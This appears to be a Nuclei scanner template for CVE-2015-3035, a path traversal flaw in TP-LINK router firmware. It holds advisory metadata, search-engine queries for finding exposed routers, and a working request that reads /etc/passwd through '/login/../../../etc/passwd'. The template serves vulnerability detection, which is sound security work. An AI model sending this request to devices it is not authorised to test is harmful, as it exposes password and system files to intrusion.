id: CVE-2015-3035

info:
  name: TP-LINK - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    TP-LINK is susceptible to local file inclusion in these products: Archer C5 (1.2) with firmware before 150317, Archer C7 (2.0) with firmware before 150304, and C8 (1.0) with firmware before 150316, Archer C9 (1.0), TL-WDR3500 (1.0), TL-WDR3600 (1.0), and TL-WDR4300 (1.0) with firmware before 150302, TL-WR740N (5.0) and TL-WR741ND (5.0) with firmware before 150312, and TL-WR841N (9.0), TL-WR841N (10.0), TL-WR841ND (9.0), and TL-WR841ND (10.0) with firmware before 150310.  Because of insufficient input validation, arbitrary local files can be disclosed. Files that include passwords and other sensitive information can be accessed.
  impact: |
    An attacker can read sensitive files on the TP-LINK router, potentially leading to unauthorized access or disclosure of sensitive information.
  remediation: |
    Apply the latest firmware update provided by TP-LINK to fix the local file inclusion vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2015/Apr/26
    - https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150410-0_TP-Link_Unauthenticated_local_file_disclosure_vulnerability_v10.txt
    - http://www.tp-link.com/en/download/TL-WDR3600_V1.html#Firmware
    - https://nvd.nist.gov/vuln/detail/CVE-2015-3035
    - http://www.tp-link.com/en/download/Archer-C5_V1.20.html#Firmware
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:N/A:N
    cvss-score: 7.8
    cve-id: CVE-2015-3035
    cwe-id: CWE-22
    epss-score: 0.83772
    epss-percentile: 0.99655
    cpe: cpe:2.3:o:tp-link:tl-wr841n_\(9.0\)_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: tp-link
    product: tl-wr841n_\(9.0\)_firmware
    shodan-query:
      - http.title:"TP-LINK"
      - http.title:"tp-link"
    fofa-query: title="tp-link"
    google-query: intitle:"tp-link"
  tags: cve2015,cve,router,lfi,seclists,tplink,kev,tp-link,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/login/../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 490a00463044022042beac88a1a496c3aef23b2b98b8cc03213c12db476b72553c6be732a92dbf1b02201efca53eebf00bc213b86cbe21eb389bfddb2c59fbfd1e1de4b8b39fcc211669:922c64590222798bb761d5b6d8e72950